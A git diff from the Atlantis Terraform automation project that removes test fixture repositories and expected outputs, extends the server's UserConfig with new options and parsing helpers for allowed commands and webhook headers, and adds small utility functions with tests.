- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/simple/main.tf b/server/testfixtures/test-repos/simple/main.tf deleted file mode 100644 index 77056e2be5..0000000000 --- a/server/testfixtures/test-repos/simple/main.tf +++ /dev/null @@ -1,18 +0,0 @@ -resource "null_resource" "simple" { - count = 1 -} - -resource "null_resource" "simple2" {} -resource "null_resource" "simple3" {} - -variable "var" { - default = "default" -} - -output "var" { - value = "${var.var}" -} - -output "workspace" { - value = "${terraform.workspace}" -} diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-default.txt b/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-default.txt deleted file mode 100644 index d6a7f5e258..0000000000 --- a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-default.txt +++ /dev/null @@ -1,25 +0,0 @@ -Ran Apply for project: `default` dir: `.` workspace: `default` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: default.tfstate - -Outputs: - -var = default -workspace = default - -``` -
- diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-staging.txt b/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-staging.txt deleted file mode 100644 index 77dfb0b020..0000000000 --- a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-staging.txt +++ /dev/null @@ -1,25 +0,0 @@ -Ran Apply for project: `staging` dir: `.` workspace: `default` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: staging.tfstate - -Outputs: - -var = staging -workspace = default - -``` -
- diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-default.txt b/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-default.txt deleted file mode 100644 index 07fb3d7fa7..0000000000 --- a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-default.txt +++ /dev/null @@ -1,33 +0,0 @@ -Ran Plan for project: `default` dir: `.` workspace: `default` - -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -p default` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -p default` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-staging.txt b/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-staging.txt deleted file mode 100644 index ced8df0b88..0000000000 --- a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-staging.txt +++ /dev/null @@ -1,33 +0,0 @@ -Ran Plan for project: `staging` dir: `.` workspace: `default` - -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -p staging` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -p staging` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/main.tf b/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/main.tf deleted file mode 100644 index d4d77ff4e7..0000000000 --- a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/main.tf +++ /dev/null @@ -1,19 +0,0 @@ -terraform { - backend "local" { - } -} - -resource "null_resource" "simple" { - count = 1 -} - -variable "var" { -} - -output "var" { - value = "${var.var}" -} - -output "workspace" { - value = "${terraform.workspace}" -} \ No newline at end of file diff --git a/server/testfixtures/test-repos/tfvars-yaml/exp-output-apply-default.txt b/server/testfixtures/test-repos/tfvars-yaml/exp-output-apply-default.txt deleted file mode 100644 index d6a7f5e258..0000000000 --- a/server/testfixtures/test-repos/tfvars-yaml/exp-output-apply-default.txt +++ /dev/null @@ -1,25 +0,0 @@ -Ran Apply for project: `default` dir: `.` workspace: `default` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: default.tfstate - -Outputs: - -var = default -workspace = default - -``` -
- diff --git a/server/testfixtures/test-repos/tfvars-yaml/exp-output-apply-staging.txt b/server/testfixtures/test-repos/tfvars-yaml/exp-output-apply-staging.txt deleted file mode 100644 index 77dfb0b020..0000000000 --- a/server/testfixtures/test-repos/tfvars-yaml/exp-output-apply-staging.txt +++ /dev/null @@ -1,25 +0,0 @@ -Ran Apply for project: `staging` dir: `.` workspace: `default` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: staging.tfstate - -Outputs: - -var = staging -workspace = default - -``` -
- diff --git a/server/testfixtures/test-repos/tfvars-yaml/exp-output-autoplan.txt b/server/testfixtures/test-repos/tfvars-yaml/exp-output-autoplan.txt deleted file mode 100644 index ba1a86b235..0000000000 --- a/server/testfixtures/test-repos/tfvars-yaml/exp-output-autoplan.txt +++ /dev/null @@ -1,67 +0,0 @@ -Ran Plan for 2 projects: - -1. project: `default` dir: `.` workspace: `default` -1. project: `staging` dir: `.` workspace: `default` - -### 1. project: `default` dir: `.` workspace: `default` -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -workspace=default - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -p default` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -p default` -
- ---- -### 2. project: `staging` dir: `.` workspace: `default` -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -p staging` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -p staging` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/tfvars-yaml/main.tf b/server/testfixtures/test-repos/tfvars-yaml/main.tf deleted file mode 100644 index d4d77ff4e7..0000000000 --- a/server/testfixtures/test-repos/tfvars-yaml/main.tf +++ /dev/null @@ -1,19 +0,0 @@ -terraform { - backend "local" { - } -} - -resource "null_resource" "simple" { - count = 1 -} - -variable "var" { -} - -output "var" { - value = "${var.var}" -} - -output "workspace" { - value = "${terraform.workspace}" -} \ No newline at end of file diff --git a/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-apply-all-production.txt b/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-apply-all-production.txt deleted file mode 100644 index e7baee5eec..0000000000 --- a/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-apply-all-production.txt +++ /dev/null @@ -1,21 +0,0 @@ -
Show Output - -```diff -null_resource.this: Creating... -null_resource.this: Creation complete after *s [id=*******************] - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -workspace = production - -``` -
diff --git a/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-apply-all-staging.txt b/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-apply-all-staging.txt deleted file mode 100644 index 1694d3741b..0000000000 --- a/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-apply-all-staging.txt +++ /dev/null @@ -1,21 +0,0 @@ -
Show Output - -```diff -null_resource.this: Creating... -null_resource.this: Creation complete after *s [id=*******************] - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -workspace = staging - -``` -
diff --git a/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-autoplan-production.txt b/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-autoplan-production.txt deleted file mode 100644 index 136c895af7..0000000000 --- a/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-autoplan-production.txt +++ /dev/null @@ -1,25 +0,0 @@ -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.this will be created -+ resource "null_resource" "this" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d production -w production` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d production -w production` -
diff --git a/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-autoplan-staging.txt b/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-autoplan-staging.txt deleted file mode 100644 index 8ba8f0312d..0000000000 --- a/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-autoplan-staging.txt +++ /dev/null @@ -1,25 +0,0 @@ -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.this will be created -+ resource "null_resource" "this" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d staging -w staging` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d staging -w staging` -
diff --git a/server/testfixtures/test-repos/workspace-parallel-yaml/production/main.tf b/server/testfixtures/test-repos/workspace-parallel-yaml/production/main.tf deleted file mode 100644 index f69db6a260..0000000000 --- a/server/testfixtures/test-repos/workspace-parallel-yaml/production/main.tf +++ /dev/null @@ -1,5 +0,0 @@ -resource "null_resource" "this" { -} -output "workspace" { - value = "${terraform.workspace}" -} diff --git a/server/testfixtures/test-repos/workspace-parallel-yaml/staging/main.tf b/server/testfixtures/test-repos/workspace-parallel-yaml/staging/main.tf deleted file mode 100644 index f69db6a260..0000000000 --- a/server/testfixtures/test-repos/workspace-parallel-yaml/staging/main.tf +++ /dev/null @@ -1,5 +0,0 @@ -resource "null_resource" "this" { -} -output "workspace" { - value = "${terraform.workspace}" -} diff --git a/server/user_config.go b/server/user_config.go index 909dfdc2f1..e981dbeb10 100644 --- a/server/user_config.go +++ b/server/user_config.go @@ -1,6 +1,12 @@ package server import ( + "encoding/json" + "strings" + + "github.com/pkg/errors" + + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" ) @@ -8,70 +14,179 @@ import ( // The mapstructure tags correspond to flags in cmd/server.go and are used when // the config is parsed from a YAML file. type UserConfig struct { - AllowForkPRs bool `mapstructure:"allow-fork-prs"` - AllowRepoConfig bool `mapstructure:"allow-repo-config"` - AtlantisURL string `mapstructure:"atlantis-url"` - Automerge bool `mapstructure:"automerge"` - AzureDevopsToken string `mapstructure:"azuredevops-token"` - AzureDevopsUser string `mapstructure:"azuredevops-user"` - AzureDevopsWebhookPassword string `mapstructure:"azuredevops-webhook-password"` - AzureDevopsWebhookUser string `mapstructure:"azuredevops-webhook-user"` - BitbucketBaseURL string `mapstructure:"bitbucket-base-url"` - BitbucketToken string `mapstructure:"bitbucket-token"` - BitbucketUser string `mapstructure:"bitbucket-user"` - BitbucketWebhookSecret string `mapstructure:"bitbucket-webhook-secret"` - CheckoutStrategy string `mapstructure:"checkout-strategy"` - DataDir string `mapstructure:"data-dir"` - DisableApplyAll bool `mapstructure:"disable-apply-all"` - DisableApply bool `mapstructure:"disable-apply"` - DisableAutoplan bool `mapstructure:"disable-autoplan"` - DisableMarkdownFolding bool `mapstructure:"disable-markdown-folding"` - GithubHostname string `mapstructure:"gh-hostname"` - GithubToken string `mapstructure:"gh-token"` - GithubUser string `mapstructure:"gh-user"` - GithubWebhookSecret string `mapstructure:"gh-webhook-secret"` - GithubOrg string `mapstructure:"gh-org"` - GithubAppID int64 `mapstructure:"gh-app-id"` - GithubAppKey string `mapstructure:"gh-app-key-file"` - GitlabHostname string `mapstructure:"gitlab-hostname"` - GitlabToken string `mapstructure:"gitlab-token"` - GitlabUser string `mapstructure:"gitlab-user"` - GitlabWebhookSecret string `mapstructure:"gitlab-webhook-secret"` - HidePrevPlanComments bool `mapstructure:"hide-prev-plan-comments"` - LogLevel string `mapstructure:"log-level"` - ParallelPoolSize int `mapstructure:"parallel-pool-size"` - PlanDrafts bool `mapstructure:"allow-draft-prs"` - Port int `mapstructure:"port"` - RepoConfig string `mapstructure:"repo-config"` - RepoConfigJSON string `mapstructure:"repo-config-json"` - RepoAllowlist string `mapstructure:"repo-allowlist"` - // RepoWhitelist is deprecated in favour of RepoAllowlist. - RepoWhitelist string `mapstructure:"repo-whitelist"` + AllowForkPRs bool `mapstructure:"allow-fork-prs"` + AllowCommands string `mapstructure:"allow-commands"` + AtlantisURL string `mapstructure:"atlantis-url"` + AutoDiscoverModeFlag string `mapstructure:"autodiscover-mode"` + Automerge bool `mapstructure:"automerge"` + AutoplanFileList string `mapstructure:"autoplan-file-list"` + AutoplanModules bool `mapstructure:"autoplan-modules"` + AutoplanModulesFromProjects string `mapstructure:"autoplan-modules-from-projects"` + AzureDevopsToken string `mapstructure:"azuredevops-token"` + AzureDevopsUser string `mapstructure:"azuredevops-user"` + AzureDevopsWebhookPassword string `mapstructure:"azuredevops-webhook-password"` + AzureDevopsWebhookUser string `mapstructure:"azuredevops-webhook-user"` + AzureDevOpsHostname string `mapstructure:"azuredevops-hostname"` + BitbucketBaseURL string `mapstructure:"bitbucket-base-url"` + BitbucketToken string `mapstructure:"bitbucket-token"` + BitbucketUser string `mapstructure:"bitbucket-user"` + BitbucketWebhookSecret string `mapstructure:"bitbucket-webhook-secret"` + CheckoutDepth int `mapstructure:"checkout-depth"` + CheckoutStrategy string `mapstructure:"checkout-strategy"` + DataDir string `mapstructure:"data-dir"` + DisableApplyAll bool `mapstructure:"disable-apply-all"` + DisableAutoplan bool `mapstructure:"disable-autoplan"` + DisableAutoplanLabel string `mapstructure:"disable-autoplan-label"` + DisableMarkdownFolding bool `mapstructure:"disable-markdown-folding"` + DisableRepoLocking bool `mapstructure:"disable-repo-locking"` + DisableGlobalApplyLock bool `mapstructure:"disable-global-apply-lock"` + DisableUnlockLabel string `mapstructure:"disable-unlock-label"` + DiscardApprovalOnPlanFlag bool `mapstructure:"discard-approval-on-plan"` + EmojiReaction string `mapstructure:"emoji-reaction"` + EnablePolicyChecksFlag bool `mapstructure:"enable-policy-checks"` + EnableRegExpCmd bool `mapstructure:"enable-regexp-cmd"` + EnableProfilingAPI bool `mapstructure:"enable-profiling-api"` + EnableDiffMarkdownFormat bool `mapstructure:"enable-diff-markdown-format"` + ExecutableName string `mapstructure:"executable-name"` + // Fail and do not run the Atlantis command request if any of the pre workflow hooks error. + FailOnPreWorkflowHookError bool `mapstructure:"fail-on-pre-workflow-hook-error"` + HideUnchangedPlanComments bool `mapstructure:"hide-unchanged-plan-comments"` + GithubAllowMergeableBypassApply bool `mapstructure:"gh-allow-mergeable-bypass-apply"` + GithubHostname string `mapstructure:"gh-hostname"` + GithubToken string `mapstructure:"gh-token"` + GithubTokenFile string `mapstructure:"gh-token-file"` + GithubUser string `mapstructure:"gh-user"` + GithubWebhookSecret string `mapstructure:"gh-webhook-secret"` + GithubOrg string `mapstructure:"gh-org"` + GithubAppID int64 `mapstructure:"gh-app-id"` + GithubAppKey string `mapstructure:"gh-app-key"` + GithubAppKeyFile string `mapstructure:"gh-app-key-file"` + GithubAppSlug string `mapstructure:"gh-app-slug"` + GithubAppInstallationID int64 `mapstructure:"gh-app-installation-id"` + GithubTeamAllowlist string `mapstructure:"gh-team-allowlist"` + GiteaBaseURL string `mapstructure:"gitea-base-url"` + GiteaToken string `mapstructure:"gitea-token"` + GiteaUser string `mapstructure:"gitea-user"` + GiteaWebhookSecret string `mapstructure:"gitea-webhook-secret"` + GiteaPageSize int `mapstructure:"gitea-page-size"` + GitlabHostname string `mapstructure:"gitlab-hostname"` + GitlabGroupAllowlist string `mapstructure:"gitlab-group-allowlist"` + GitlabToken string `mapstructure:"gitlab-token"` + GitlabUser string `mapstructure:"gitlab-user"` + GitlabWebhookSecret string `mapstructure:"gitlab-webhook-secret"` + IncludeGitUntrackedFiles bool `mapstructure:"include-git-untracked-files"` + APISecret string `mapstructure:"api-secret"` + HidePrevPlanComments bool `mapstructure:"hide-prev-plan-comments"` + LockingDBType string `mapstructure:"locking-db-type"` + LogLevel string `mapstructure:"log-level"` + MarkdownTemplateOverridesDir string `mapstructure:"markdown-template-overrides-dir"` + MaxCommentsPerCommand int `mapstructure:"max-comments-per-command"` + IgnoreVCSStatusNames string `mapstructure:"ignore-vcs-status-names"` + ParallelPoolSize int `mapstructure:"parallel-pool-size"` + ParallelPlan bool `mapstructure:"parallel-plan"` + ParallelApply bool `mapstructure:"parallel-apply"` + StatsNamespace string `mapstructure:"stats-namespace"` + PlanDrafts bool `mapstructure:"allow-draft-prs"` + Port int `mapstructure:"port"` + QuietPolicyChecks bool `mapstructure:"quiet-policy-checks"` + RedisDB int `mapstructure:"redis-db"` + RedisHost string `mapstructure:"redis-host"` + RedisPassword string `mapstructure:"redis-password"` + RedisPort int `mapstructure:"redis-port"` + RedisTLSEnabled bool `mapstructure:"redis-tls-enabled"` + RedisInsecureSkipVerify bool `mapstructure:"redis-insecure-skip-verify"` + RepoConfig string `mapstructure:"repo-config"` + RepoConfigJSON string `mapstructure:"repo-config-json"` + RepoAllowlist string `mapstructure:"repo-allowlist"` - // RequireApproval is whether to require pull request approval before - // allowing terraform apply's to be run. - RequireApproval bool `mapstructure:"require-approval"` - // RequireMergeable is whether to require pull requests to be mergeable before - // allowing terraform apply's to run. - RequireMergeable bool `mapstructure:"require-mergeable"` + // SilenceNoProjects is whether Atlantis should respond to a PR if no projects are found. + SilenceNoProjects bool `mapstructure:"silence-no-projects"` SilenceForkPRErrors bool `mapstructure:"silence-fork-pr-errors"` // SilenceVCSStatusNoPlans is whether autoplan should set commit status if no plans // are found. SilenceVCSStatusNoPlans bool `mapstructure:"silence-vcs-status-no-plans"` - SilenceAllowlistErrors bool `mapstructure:"silence-allowlist-errors"` - // SilenceWhitelistErrors is deprecated in favour of SilenceAllowlistErrors - SilenceWhitelistErrors bool `mapstructure:"silence-whitelist-errors"` - SkipCloneNoChanges bool `mapstructure:"skip-clone-no-changes"` - SlackToken string `mapstructure:"slack-token"` - SSLCertFile string `mapstructure:"ssl-cert-file"` - SSLKeyFile string `mapstructure:"ssl-key-file"` - TFDownloadURL string `mapstructure:"tf-download-url"` - TFEHostname string `mapstructure:"tfe-hostname"` - TFEToken string `mapstructure:"tfe-token"` - VCSStatusName string `mapstructure:"vcs-status-name"` - DefaultTFVersion string `mapstructure:"default-tf-version"` - Webhooks []WebhookConfig `mapstructure:"webhooks"` - WriteGitCreds bool `mapstructure:"write-git-creds"` + // SilenceVCSStatusNoProjects is whether autoplan should set commit status if no projects + // are found. + SilenceVCSStatusNoProjects bool `mapstructure:"silence-vcs-status-no-projects"` + SilenceAllowlistErrors bool `mapstructure:"silence-allowlist-errors"` + SkipCloneNoChanges bool `mapstructure:"skip-clone-no-changes"` + SlackToken string `mapstructure:"slack-token"` + SSLCertFile string `mapstructure:"ssl-cert-file"` + SSLKeyFile string `mapstructure:"ssl-key-file"` + RestrictFileList bool `mapstructure:"restrict-file-list"` + TFDistribution string `mapstructure:"tf-distribution"` // deprecated in favor of DefaultTFDistribution + TFDownload bool `mapstructure:"tf-download"` + TFDownloadURL string `mapstructure:"tf-download-url"` + TFEHostname string `mapstructure:"tfe-hostname"` + TFELocalExecutionMode bool `mapstructure:"tfe-local-execution-mode"` + TFEToken string `mapstructure:"tfe-token"` + VarFileAllowlist string `mapstructure:"var-file-allowlist"` + VCSStatusName string `mapstructure:"vcs-status-name"` + DefaultTFDistribution string `mapstructure:"default-tf-distribution"` + DefaultTFVersion string `mapstructure:"default-tf-version"` + Webhooks []WebhookConfig `mapstructure:"webhooks" flag:"false"` + WebhookHttpHeaders string `mapstructure:"webhook-http-headers"` + WebBasicAuth bool `mapstructure:"web-basic-auth"` + WebUsername string `mapstructure:"web-username"` + WebPassword string `mapstructure:"web-password"` + WriteGitCreds bool `mapstructure:"write-git-creds"` + WebsocketCheckOrigin bool `mapstructure:"websocket-check-origin"` + UseTFPluginCache bool `mapstructure:"use-tf-plugin-cache"` +} + +// ToAllowCommandNames parse AllowCommands into a slice of CommandName +func (u UserConfig) ToAllowCommandNames() ([]command.Name, error) { + var allowCommands []command.Name + var hasAll bool + for _, input := range strings.Split(u.AllowCommands, ",") { + if input == "" { + continue + } + if input == "all" { + hasAll = true + continue + } + cmd, err := command.ParseCommandName(input) + if err != nil { + return nil, err + } + allowCommands = append(allowCommands, cmd) + } + if hasAll { + return command.AllCommentCommands, nil + } + return allowCommands, nil +} + +// ToWebhookHttpHeaders parses WebhookHttpHeaders into a map of HTTP headers. +func (u UserConfig) ToWebhookHttpHeaders() (map[string][]string, error) { + if u.WebhookHttpHeaders == "" { + return nil, nil + } + + var m map[string]interface{} + err := json.Unmarshal([]byte(u.WebhookHttpHeaders), &m) + if err != nil { + return nil, err + } + headers := make(map[string][]string) + for name, rawValue := range m { + switch val := rawValue.(type) { + case []interface{}: + for _, v := range val { + s, ok := v.(string) + if !ok { + return nil, errors.Errorf("expected string array element, got %T", v) + } + headers[name] = append(headers[name], s) + } + case string: + headers[name] = []string{val} + default: + return nil, errors.Errorf("expected string or array, got %T", val) + } + } + return headers, nil } // ToLogLevel returns the LogLevel object corresponding to the user-passed diff --git a/server/user_config_test.go b/server/user_config_test.go index ceeafeeda4..b37f04cf8b 100644 --- a/server/user_config_test.go +++ b/server/user_config_test.go @@ -3,11 +3,117 @@ package server_test import ( "testing" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) +func TestUserConfig_ToAllowCommandNames(t *testing.T) { + tests := []struct { + name string + allowCommands string + want []command.Name + wantErr string + }{ + { + name: "full commands can be parsed by comma", + allowCommands: "apply,plan,unlock,policy_check,approve_policies,version,import,state", + want: []command.Name{ + command.Apply, command.Plan, command.Unlock, command.PolicyCheck, command.ApprovePolicies, command.Version, command.Import, command.State, + }, + }, + { + name: "all", + allowCommands: "all", + want: []command.Name{ + command.Version, command.Plan, command.Apply, command.Unlock, command.ApprovePolicies, command.Import, command.State, + }, + }, + { + name: "all with others returns same with all result", + allowCommands: "all,plan", + want: []command.Name{ + command.Version, command.Plan, command.Apply, command.Unlock, command.ApprovePolicies, command.Import, command.State, + }, + }, + { + name: "empty", + allowCommands: "", + want: nil, + }, + { + name: "invalid command", + allowCommands: "plan,all,invalid", + wantErr: "unknown command name: invalid", + }, + { + name: "invalid command", + allowCommands: "invalid,plan,all", + wantErr: "unknown command name: invalid", + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + u := server.UserConfig{ + AllowCommands: tt.allowCommands, + } + got, err := u.ToAllowCommandNames() + if err != nil { + require.ErrorContains(t, err, tt.wantErr, "ToAllowCommandNames()") + } + assert.Equalf(t, tt.want, got, "ToAllowCommandNames()") + }) + } +} + +func TestUserConfig_ToWebhookHttpHeaders(t *testing.T) { + tcs := []struct { + name string + given string + want map[string][]string + err error + }{ + { + name: "empty", + given: "", + want: nil, + }, + { + name: "happy path", + given: `{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}`, + want: map[string][]string{ + "Authorization": {"Bearer some-token"}, + "X-Custom-Header": {"value1", "value2"}, + }, + }, + { + name: "invalid json", + given: `{"X-Custom-Header":true}`, + err: errors.New("expected string or array, got bool"), + }, + { + name: "invalid json array element", + given: `{"X-Custom-Header":[1, 2]}`, + err: errors.New("expected string array element, got float64"), + }, + } + for _, tc := range tcs { + t.Run(tc.name, func(t *testing.T) { + u := server.UserConfig{ + WebhookHttpHeaders: tc.given, + } + got, err := u.ToWebhookHttpHeaders() + Equals(t, tc.want, got) + Equals(t, tc.err, err) + }) + } +} + func TestUserConfig_ToLogLevel(t *testing.T) { cases := []struct { userLvl string diff --git a/server/utils/os.go b/server/utils/os.go new file mode 100644 index 0000000000..2a06d8486e --- /dev/null +++ b/server/utils/os.go @@ -0,0 +1,13 @@ +package utils + +import "os" + +// RemoveIgnoreNonExistent removes a file, ignoring if it doesn't exist. +func RemoveIgnoreNonExistent(file string) error { + err := os.Remove(file) + if err == nil || os.IsNotExist(err) { + return nil + } + + return err +} diff --git a/server/utils/slices.go b/server/utils/slices.go new file mode 100644 index 0000000000..c2d67668ea --- /dev/null +++ b/server/utils/slices.go @@ -0,0 +1,12 @@ +package utils + +// SlicesContains reports whether v is present in s. +// https://pkg.go.dev/golang.org/x/exp/slices#Contains +func SlicesContains[E comparable](s []E, v E) bool { + for _, vs := range s { + if v == vs { + return true + } + } + return false +} diff --git a/server/utils/spellcheck.go b/server/utils/spellcheck.go new file mode 100644 index 0000000000..f3530a08ae --- /dev/null +++ b/server/utils/spellcheck.go @@ -0,0 +1,17 @@ +package utils + +import ( + "github.com/agext/levenshtein" +) + +// IsSimilarWord calculates "The Levenshtein Distance" between two strings which +// represents the minimum total cost of edits that would convert the first string +// into the second. If the distance is less than 3, the word is considered misspelled. +func IsSimilarWord(given string, suggestion string) bool { + dist := levenshtein.Distance(given, suggestion, nil) + if dist > 0 && dist < 3 { + return true + } + + return false +} diff --git a/server/utils/spellcheck_test.go b/server/utils/spellcheck_test.go new file mode 100644 index 0000000000..de7c9e24b7 --- /dev/null +++ b/server/utils/spellcheck_test.go @@ -0,0 +1,65 @@ +package utils_test + +import ( + "fmt" + "testing" + + "github.com/runatlantis/atlantis/server/utils" + . "github.com/runatlantis/atlantis/testing" +) + +func Test_IsSimilarWord(t *testing.T) { + t.Log("check if given executable name is misspelled or just an unrelated word") + + spellings := []struct { + Misspelled bool + Given string + Want string + }{ + { + false, + "atlantis", + "atlantis", + }, + { + false, + "maybe", + "atlantis", + }, + { + false, + "atlantis-qa", + "atlantis-prod", + }, + { + true, + "altantis", + "atlantis", + }, + { + true, + "atlants", + "atlantis", + }, + { + true, + "teraform", + "terraform", + }, + } + + for _, s := range spellings { + t.Run(fmt.Sprintf("given %s want %s", s.Given, s.Want), func(t *testing.T) { + isMisspelled := utils.IsSimilarWord(s.Given, s.Want) + + if s.Misspelled { + Equals(t, isMisspelled, true) + } + + if !s.Misspelled { + Equals(t, isMisspelled, false) + } + }) + } + +} diff --git a/server/web_templates.go b/server/web_templates.go deleted file mode 100644 index e7ba1a852d..0000000000 --- a/server/web_templates.go +++ /dev/null @@ -1,325 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. - -package server - -import ( - "html/template" - "io" - "time" -) - -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_template_writer.go TemplateWriter - -// TemplateWriter is an interface over html/template that's used to enable -// mocking. -type TemplateWriter interface { - // Execute applies a parsed template to the specified data object, - // writing the output to wr. - Execute(wr io.Writer, data interface{}) error -} - -// LockIndexData holds the fields needed to display the index view for locks. -type LockIndexData struct { - LockPath string - RepoFullName string - PullNum int - Path string - Workspace string - Time time.Time - TimeFormatted string -} 